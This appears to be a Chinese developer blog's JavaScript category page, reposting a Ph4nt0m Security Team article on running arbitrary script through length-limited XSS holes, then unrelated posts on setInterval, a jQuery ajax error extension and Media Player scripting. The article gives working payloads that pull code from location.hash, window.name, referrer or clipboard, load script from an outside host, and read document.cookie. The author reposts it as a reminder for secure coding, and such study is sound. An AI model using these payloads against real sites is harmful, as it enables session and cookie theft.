手机浏览 RSS 2.0 订阅 膘叔的简单人生 , 腾讯云RDS购买 | 超便宜的Vultr , 注册 | 登陆
浏览模式: 标准 | 列表分类:Javascript

突破XSS字符数量限制执行任意JS代码

贴本文的意思并非传播黑客技术,而是根据攻击的方向和内容来提醒自己 ,以后写代码需要注意的事项。

原文:http://hi.baidu.com/isbx/blog/item/bee2d31b7ab4bdddac6e7521.html

==Ph4nt0m Security Team==
                       Issue 0x03, Phile #0x04 of 0x07
|=---------------------------------------------------------------------------=|
|=-----------------=[ 突破XSS字符数量限制执行任意JS代码 ]=-------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=------------------------=[      By luoluo     ]=---------------------------=|
|=----------------------=[   <luoluo#ph4nt0m.org> ]=-------------------------=|
|=----------------------=[    <luoluo#80sec.com>   ]=------------------------=|
|=---------------------------------------------------------------------------=|


[目录]

1. 综述
2. 突破方法
2.1 利用HTML上下文中其他可以控制的数据
2.2 利用URL中的数据
2.3 JS上下文的利用
2.4 利用浏览器特性在跨域的页面之间传递数据
    2.4.1 document.referrer
    2.4.2 剪切板clipboardData
    2.4.3 窗口名window.name
2.5 以上的方式结合使用
3. 后记
4. 参考


一、综述

    有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些极端情况下的XSS漏洞。

    突破的方法有很多种,但是突破的思想基本都一样,那就是执行可以控制的不受限制的数据。


二、突破方法

2.1 利用HTML上下文中其他可以控制的数据

    如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据,那么可以通过JS获得该数据通过eval或者document.write/innerHTML等方式执行该数据,从而达到突破XSS字符数量限制的目的,下面例子假设div元素的内部数据可以控制,但是该数据已经被HTML编码过:

XML/HTML代码
  1. <div id="x">可控的安全的数据</div>  
  2. <limited_xss_point>alert(/xss/);</limited_xss_point>  
    由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据:
XML/HTML代码
  1. <div id="x">alert%28document.cookie%29%3B</div>  
  2. <limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>  
长度:28 + len(id)

    由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。


2.2 利用URL中的数据

    如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过document.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到最后:
XML/HTML代码
  1. http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)  
  2.   
  3. <limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>  
长度:30
XML/HTML代码
  1. <limited_xss_point>eval(location.href.substr(80));</limited_xss_point>  
长度:31

    上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个字符:
XML/HTML代码
  1. <limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>  
长度:29
XML/HTML代码
  1. <limited_xss_point>eval(location.href.slice(80));</limited_xss_point>  
长度:30

    那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现
有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获
得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:
XML/HTML代码
  1. http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)  
  2.   
  3. <limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>  
长度:29

    这样比上面的例子又少了一个字符。那么还可以更短么?


2.3 JS上下文的利用

    为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:
JavaScript代码
  1. String.fromCharCode  
  2. getElementById  
  3. getElementsByTagName  
  4. document.write  
  5. XMLHTTPRequest  
  6. ...  
    就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的简化函数,最经典的例子就是:

JavaScript代码
  1. function $(id) {  
  2.     return document.getElementById(id);  
  3. }  
    这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:
XML/HTML代码
  1. function loads(url) {  
  2. ...  
  3. document.body.appendChild(script);  
  4. }  
  5.   
  6. <limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>  

长度:len(函数名) + len(url) + 5

    当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:
XML/HTML代码
  1. function get(url) {  
  2. ...  
  3. return x.responseText;  
  4. }  
  5.   
  6. <limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>  
长度:len(函数名) + len(url) + 11

    道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:
JQuery
YUI
...

    综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我们的代码,进而突破长度限制执行任意代码。


2.4 利用浏览器特性在跨域的页面之间传递数据

    虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。

2.4.1 document.referrer

    攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了Payload,被XSS的页面通过referrer获取相关代码执行。

攻击者构造的的页面:
XML/HTML代码
  1. http://www.a.com/attack.html?...&alert(document.cookie)  
  2.   
  3. <a href="http://www.xssedsite.com/xssed.php">go</a>  
被XSS的页面:
XML/HTML代码
  1. <limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>  
长度:34

    这种方式利用上还有一些问题,如果使用location.href或者<meta http-equiv=refresh>实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer:

JavaScript代码
  1. <script type="text/javascript">  
  2. <!--  
  3. window.onload = function(){  
  4.         var f = document.createElement("form");  
  5.         f.setAttribute("method""get");  
  6.         f.setAttribute("action""http://www.xssedsite.com/xssed.php");  
  7.         document.body.appendChild(f);  
  8.         f.submit();  
  9. };  
  10. //-->  
  11. </script>  
2.4.2 剪切板clipboardData

    攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获取并执行该数据。

攻击者构造的页面:

JavaScript代码
  1. <script>  
  2. clipboardData.setData("text""alert(document.cookie)");  
  3. </script>  
被XSS的页面:

XML/HTML代码
  1. <limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>  
长度:36

    这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。


2.4.3 窗口名window.name

    这是一个很少被用到的特性,在研究同源策略时就注意过这个属性,它是可以跨域传递数据的,但是这个特性本身并不是漏洞。

    如果仔细研究过window.open这个方法,会发现一个不常用的第二个参数,这个则是设置窗口名,用于指定target窗口,如果不存在的话则创建新的子窗口,并设置子窗口的name。当我想打搜window.open时一阵狂喜,喜的是window.name这个属性是window对象的成员,那么只需要name就可以引用该属性,但是测试时却发现window.open方法对于第二个参数进行了严格的检查,只允许数字字母以及下划线的组合,禁止特殊字符进入,那么这种方式就没法写入JS或者VBS。

    但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符限制,然后直接跳转到被XSS的页面,通过name属性传递Payload过去执行:

攻击者构造的页面:

JavaScript代码
  1. <script>  
  2. window.name = "alert(document.cookie)";  
  3. locaton.href = "http://www.xssedsite.com/xssed.php";  
  4. </script>  

被XSS的页面:

XML/HTML代码
  1. <limited_xss_point>eval(name);</limited_xss_point>  

长度:11

    这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思的技巧,这个技巧的发现也是促成本文的直接原因。

    window.name的特性还有其他一些有趣的应用方式,这个方面的话题以后可以专门写篇文章来探讨。


2.5 以上的方式结合使用

    以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况中,灵活的组合上面的方法可能会起到奇效。


三、后记

    JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎和我交流!

    感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!

    本文是纯粹的技术探讨,请勿用于非法用途!


四、参考

http://msdn.microsoft.com/en-us/library/aa155073.aspx

Tags: xss, 安全

Tutorial: JavaScript timers with setTimeout and setInterval

前两天被setInterval搞了一下,后来查查资料,发现这个介绍的还行,于是复制下来,当成资料备查

In this tutorial we'll look at JavaScript's setTimeout(), clearTimeout(), setInterval() and clearInterval() methods, and show how to use them to set timers and create delayed actions.

» 阅读全文

Tags: setinterval, settimeout

setInterval的郁闷之处

使用这个函数还是有点小郁闷的。网上的资料现在大多被AS的资料所覆盖,一般来说setInterval是传递两个参数,这与setTimeout 一样,第一个是方法,第二个是时间,但由于网上找的大多是AS下的setInterval,这就造成了理解错误,正常情况下AS下的 setInterval的参数也是(方法,时间),但setInterval也可以是(对象,方法,时间),甚至更多的参数用来传递给方法。

那么,JS下面的setInterval怎么使用对象中的方法呢?其实很简单,直接使用连接符就行了:setInterval("对象.方法()" , 时间 ),但参数好象是没有办法传递的,如果实在要传,你就只要自己写同名方法覆盖掉系统的setInterval了。

网上有个例子,但我没有运行成功,所以我也不在这里贴出来,主要还是那个callee,arguments这些东东,网上也有很多例子,类似于PHP的func_get_args,利用这个进行伪重载。

呵呵

Tags: setinterval

扩展JQuery Ajax请求错误机制

如何对ajax的错误进行更好的处理?本文给出了一个简单的解决方案。想当于类的扩展和继承一样。有新意,一直以来,对于框架我们要么是扩展,要么是写新方法,就从来没有想过要继承这些方法。所以,作者这个给了我很多启发。

原文:http://www.cnblogs.com/lyk831216/archive/2009/04/24/1442791.html

JQuery使我们在开发Ajax应用程序的时候提高了效率,减少了许多兼容性问题,但时间久了,也让我们离不开他。比如简单的Jquery Ajax请求的封装让我们忘却了最原始的XmlHttpRequest对象和他的属性,方法,也让我们远离事情的真相。

在Ajax项目中,经常遇到需要服务器端返回错误的消息提示,或者消息码之类的数据。查过一些帮助,解决方案,很多网站是返回错误的消息JSON数据或者 脚本,这种方式当我们用JQuery.ajax()的时候出现了问题,jquery.ajax()回调函数success(data)的data参数可能 是 xmlDoc, jsonObj, html, text, 等等...这取决于我们dataType设置和MIME.很多时候我们的错误处理都是统一的处理,不管你请求的是XML,JSON...。不光不好统一, 还容易出现解析错误等等情况。

参考了Prototyp框架的做法,做了一个Jquery的错误扩展。

原理:Prototype思路是把服务器处理结果状态信息写在Header里面,这种方式既保证了reponse body的干净,同时适应XML,JSON,HTML,Text的返回情况。

   服务器端只需要 Response.AddHeader("Error-Json""{code:2001,msg:'User settings is null!',script:''}");

实现:为了不影响原有的Jquery.ajax方法,同时不破坏jquery库源文件,做了如下扩展,代码很简单都能看懂:

JavaScript代码
  1. ;(function($){  
  2.     var ajax=$.ajax;  
  3.     $.ajax=function(s){  
  4.         var old=s.error;  
  5.         var errHeader=s.errorHeader||"Error-Json";  
  6.         s.error=function(xhr,status,err){  
  7.             var errMsg = window["eval"]("(" + xhr.getResponseHeader(errHeader) + ")");  
  8.             old(xhr,status,errMsg||err);  
  9.         }  
  10.         ajax(s);  
  11.     }  
  12.   
  13. })(jQuery);   

使用方法:

  服务器端:我们是对错误进行扩展,如果要让jquery.ajax破获[膘叔:应该为捕获]错误,必须要服务器端返回非200的错误码,由于Opera浏览器下面对 400以上的错误码,都无法获得请求的Header,建议如果要支持Opera,最好返回30*错误,这是Opera能接受Header的错误范围。没有 做包装,可以再单独把Catch内容出来。

C#代码
  1. try {  
  2.     context.Response.Write(GetJson(context));  
  3.     throw new Exception("msg");  
  4. }  
  5. catch {  
  6.     context.Response.ClearContent();  
  7.     context.Response.StatusCode = 300;  
  8.     context.Response.AddHeader("Error-Json""{code:2001,msg:'User settings is null!',script:''}");  
  9.     context.Response.End();  
  10. }  

 客户端:

JavaScript代码
  1. $.ajax({  
  2.     url: this.ajaxUrl,  
  3.     type: "POST",  
  4.     success: callback,  
  5.     error: function(xhr,status,errMsg){  
  6.     alert(errMsg.code+"<br/>"+errMsg.msg);  
  7.     }  
  8. });  

也许不是最好的,但觉得用起来很方便,忘了个写新增参数errorHeader:"Error-Json",这个header头key根据你后台设定配置。

 

 

 

Tags: jquery, 扩展

js控制网页播放器MEDIA PLAYER的相关知识

没想过要用这个东西,但群里有人问,这个地址也是群里的朋友贴出来的,仔细想想这个东西也有应用的场景,比如歌词的控制。能够得到播放时间,就能够控制歌词的显示了。估计那些用JS做的播放器大致都是这样的吧?猜测而已

内容如下:http://roln.cn/archives/80

<!–播放器 开始–>
 <object id=”Exobud” style=”width: 273px; height: 64px” type=”application/x-oleobject”
  classid=”CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6″>
  <param name=”URL” value=”"/>
  <param name=”rate” value=”1″/>
  <param name=”balance” value=”0″/>
  <param name=”currentPosition” value=”0″/>
  <param name=”defaultFrame” value=”"/>
  <param name=”playCount” value=”1″/>
  <param name=”autoStart” value=”-1″/>
  <param name=”currentMarker” value=”0″/>
  <param name=”invokeURLs” value=”-1″/>
  <param name=”baseURL” value=”"/>
  <param name=”volume” value=”80″/>
  <param name=”mute” value=”0″/>
  <param name=”uiMode” value=”full”/>
  <param name=”stretchToFit” value=”-1″/>
  <param name=”windowlessVideo” value=”0″/>
  <param name=”enabled” value=”-1″/>
  <param name=”enableContextMenu” value=”0″/>
  <param name=”fullScreen” value=”0″/>
  <param name=”SAMIStyle” value=”"/>
  <param name=”SAMILang” value=”"/>
  <param name=”SAMIFilename” value=”"/>
  <param name=”captioningID” value=”"/>
  <param name=”enableErrorDialogs” value=”0″/>
  <param name=”_cx” value=”7223″/>
  <param name=”_cy” value=”1693″/>
 </object> <!–播放器 结束–>
1 单项播放很简单,这里粗略的说一下
 通过网页传参在后台cs页面绑定一个变量
html
<param name=”URL” value=”<% = Url%>”/>
cs
public string Url;
Url = 从数据库中读取

2 让播放器播放多首歌曲并循环播放呢
思路就是建一个播放列表,然后通过js来控件.

第一种方法 (此方法最终行不通)
建立一个数组相当于播放列表alist(假设这是用户选择歌曲后的结果)

js
var num = 0
function Onload(){
var Exobud = document.getElementById(”Exobud”);
Exobud.URL = alist[num];
Exobud.controls.play();
num ++;
}
通过PlayStateChange监听播放状态 ,8表示播放结束
<script for=”Exobud” EVENT=”PlayStateChange(stats)”>
if(stats == 8 )
Exobud.URL = alist[num];
Exobud.controls.play();
//alert(Exobud.URL);
num ++
</script>
到此播放正常,当播放下一首歌的时候就定住了.非要手动去点播放.不知道是何原因?
在网上查,有一仁兄弟好像解决过这问题,说是放第二首歌的时候,仍然是在第一首歌的播放状态下,所以就一直是停的.
解决办法,就是每首歌只播放一次,但不知道改那里.播放器参数中每首歌是设的播放一次.
另一种办法就是加一个alert(Exobud.URL);这样就可以自动播放,但总弄个弹窗不好吧.
到现在还没弄明白是么回事.如有人知道请留言跟贴,帮我解决一哈.

第二种方法.现已解决.能正常使用. 思路就是用setTimeout()不停的循环,然后控件播放列表的索引得到值来改变URL

先建立一个播放列表
假设用户所选的歌曲参数已传过来
播放列表如下
<select name=”SongList” size=”5″ >
        OnDblClick=”player();”>
            <option value=”songs/001.mp3″>001</option>
            <option value=”songs/002.wma”>002</option>
            <option value=”songs/003.WMV”>003</option>
            <option value=”songs/004.mp3″>004</option>
            <option value=”songs/005.wma”>005</option>
 </select>
同时设置几个按钮
<a href=”#” onclick=”javascript:play();”>on</a>
<a href=”#” onclick=”javascript:Last_OneOK();”>last</a>
<a href=”#” onclick=”javascript:Next_OneOK();”>next</a>

js
<script language=”JavaScript”>
        //var server=’http://localhost/music/’;
        var SongList = document.getElementById(”SongList”);
        var Exobud = document.getElementById(”Exobud”);
        var TotalSongs = SongList.options.length;
        function play()
        {
        SongList.options[0].selected=true;
        player();
        }
        function player(){
      if(SongList.selectedIndex < 0) alert(’系统错误,请选择您要播放的曲目!’);
      else{
      var url;
      url = SongList.options[SongList.selectedIndex].value;
      Exobud.URL=url;
      //alert(TotalSongs);
      Exobud.controls.play();
      showTLab();
      return;
      }
        }
   
        function showTLab(){
      if(Exobud.playState == 1)
      Next_OneOK();
      setTimeout(”showTLab()”, 1000);
        }
   
        function Next_OneOK(){
      if(SongList.selectedIndex >= 0){
      if(SongList.selectedIndex < TotalSongs-1){
       SongList.options[SongList.selectedIndex + 1].selected = true;
        player();
      }else{
       SongList.options[0].selected = true;
        player();
      }
       }
         }
         function Last_OneOK(){
      if((SongList.selectedIndex > 0) && (SongList.selectedIndex < TotalSongs)){
      SongList.options[SongList.selectedIndex - 1].selected = true;
      player();
         }
         }
    </script>

这样问题就解决了.
注音乐文件都是我本地的

附上media player的一些控制方法

player.controls.play(); 播放
player.controls.stop(); 停止
player.controls.pause(); 暂停
player.controls.currentPosition 返回播放文件的当前时间位置(以秒为单位)
player.controls.currentPositionString 时间格式的字符串 “0:32″
player.currentMedia.duration 返回播放文件的总长度(以秒为单位)
player.currentMedia.durationString 时间格式的字符串 “4:34″
player.settings.volume 音量 (0-100)
player.settings.balance 声道,通过它应该可以进行立体声、左声道、右声道的控制。但对应的取值尚不清楚。
player.settings.mute = s 静音(s取值为true和false)
player.closedCaption.CaptioningID 网页中出现字幕的容器的ID
player.closedCaption.SAMIFileName 字幕文件地址
player.playState 返回播放器状态( 3:正在播放,2:暂停1:已停止)

Tags: 播放器